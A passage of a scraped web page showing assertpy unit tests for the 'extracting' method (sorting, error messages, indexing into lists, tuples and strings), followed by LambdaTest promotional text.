sys.version_info[1] <= 5:166 assert_that(str(ex)).contains('unorderable types')167 else:168 assert_that(str(ex)).contains("not supported between instances of 'str' and 'int'")169def test_extracting_sort():170 assert_that(users).extracting('user', sort='age').is_equal_to(['Johnny','Fred','Bob'])171 assert_that(users).extracting('user', sort=['active','age']).is_equal_to(['Bob','Johnny','Fred'])172 assert_that(users).extracting('user', sort=('active','age')).is_equal_to(['Bob','Johnny','Fred'])173 assert_that(users).extracting('user', sort=lambda x: -x['age']).is_equal_to(['Bob','Fred','Johnny'])174def test_extracting_sort_ignore_bad_type():175 assert_that(users).extracting('user', sort=123).is_equal_to(['Fred','Bob','Johnny'])176def test_extracting_sort_ignore_bad_key_types():177 assert_that(users).extracting('user', sort=['active','age',123]).is_equal_to(['Bob','Johnny','Fred'])178def test_extracting_sort_custom_func():179 def _f(x):180 if x['user'] == 'Johnny':181 return 0182 elif x['age'] == 40:183 return 1184 return 10185 assert_that(users).extracting('user', sort=_f).is_equal_to(['Johnny', 'Bob', 'Fred'])186def test_extracting_sort_failure():187 try:188 assert_that(users).extracting('user', sort='foo')189 fail('should have raised error')190 except ValueError as ex:191 assert_that(str(ex)).ends_with("'] did not contain key <foo>")192def test_extracting_sort_list_failure():193 try:194 assert_that(users).extracting('user', sort=['foo'])195 fail('should have raised error')196 except ValueError as ex:197 assert_that(str(ex)).ends_with("'] did not contain key <foo>")198def test_extracting_sort_multi_item_dict_failure():199 try:200 assert_that(users).extracting('user', sort=['active','age','foo'])201 fail('should have raised error')202 except ValueError as ex:203 assert_that(str(ex)).ends_with("'] did not contain key <foo>")204def test_extracting_sort_lambda_failure():205 try:206 assert_that(users).extracting('user', sort=lambda x: x['foo'] > 0)207 fail('should have raised error')208 except KeyError as ex:209 assert_that(str(ex)).is_equal_to("'foo'")210def test_extracting_sort_custom_func_failure():211 def _f(x):212 raise RuntimeError('foobar!')213 try:214 assert_that(users).extracting('user', sort=_f)215 fail('should have raised error')216 except RuntimeError as ex:217 assert_that(str(ex)).is_equal_to("foobar!")218def test_extracting_sort_bad_values():219 bad = [220 {'user': 'Fred', 'age': 36},221 {'user': 'Bob', 'age': 'bad'},222 {'user': 'Johnny', 'age': 13}223 ]224 if sys.version_info[0] == 3:225 try:226 assert_that(bad).extracting('user', sort='age')227 fail('should have raised error')228 except TypeError as ex:229 if sys.version_info[1] <= 5:230 assert_that(str(ex)).contains('unorderable types')231 else:232 assert_that(str(ex)).contains("not supported between instances of 'str' and 'int'")233def test_extracting_iterable_of_lists():234 l = [[1,2,3],[4,5,6],[7,8,9]]235 assert_that(l).extracting(0).is_equal_to([1,4,7])236 assert_that(l).extracting(0,1).is_equal_to([(1,2),(4,5),(7,8)])237 assert_that(l).extracting(-1).is_equal_to([3,6,9])238 assert_that(l).extracting(-1,-2).extracting(0).is_equal_to([3,6,9])239def test_extracting_iterable_multi_extracting():240 l = [[1,2,3],[4,5,6],[7,8,9]]241 assert_that(l).extracting(-1,2).is_equal_to([(3,3),(6,6),(9,9)])242 assert_that(l).extracting(-1,1).extracting(1,0).is_equal_to([(2,3),(5,6),(8,9)])243def test_extracting_iterable_of_tuples():244 t = [(1,2,3),(4,5,6),(7,8,9)]245 assert_that(t).extracting(0).is_equal_to([1,4,7])246 assert_that(t).extracting(0,1).is_equal_to([(1,2),(4,5),(7,8)])247 assert_that(t).extracting(-1).is_equal_to([3,6,9])248def test_extracting_iterable_of_strings():249 s = ['foo','bar','baz']250 assert_that(s).extracting(0).is_equal_to(['f', 'b', 'b'])251 assert_that(s).extracting(0,2).is_equal_to([('f','o'),('b','r'),('b','z')])252def test_extracting_iterable_failure_set():253 try:254 assert_that([set([1])]).extracting(0).contains(1,4,7)255 fail('should have raised error')256 except TypeError as ex:257 assert_that(str(ex)).is_equal_to('item <set> does not have [] accessor')258def test_extracting_iterable_failure_out_of_range():259 try:260 assert_that([[1],[2],[3]]).extracting(4).is_equal_to(0)261 fail('should have raised error')262 except IndexError as ex:263 assert_that(str(ex)).is_equal_to('list index out of range')264def test_extracting_iterable_failure_index_is_not_int():265 try:266 assert_that([[1],[2],[3]]).extracting('1').is_equal_to(0)267 fail('should have raised error')268 except TypeError as ex:...

Full Screen

Full Screen

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.

LambdaTest Learning Hubs:

YouTube

You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.

Run assertpy automation tests on LambdaTest cloud grid

Perform automation testing on 3000+ real desktop and mobile devices online.

Try LambdaTest Now !!

Get 100 minutes of automation test minutes FREE!!

Next-Gen App & Browser Testing Cloud

Was this article helpful?

Helpful

NotHelpful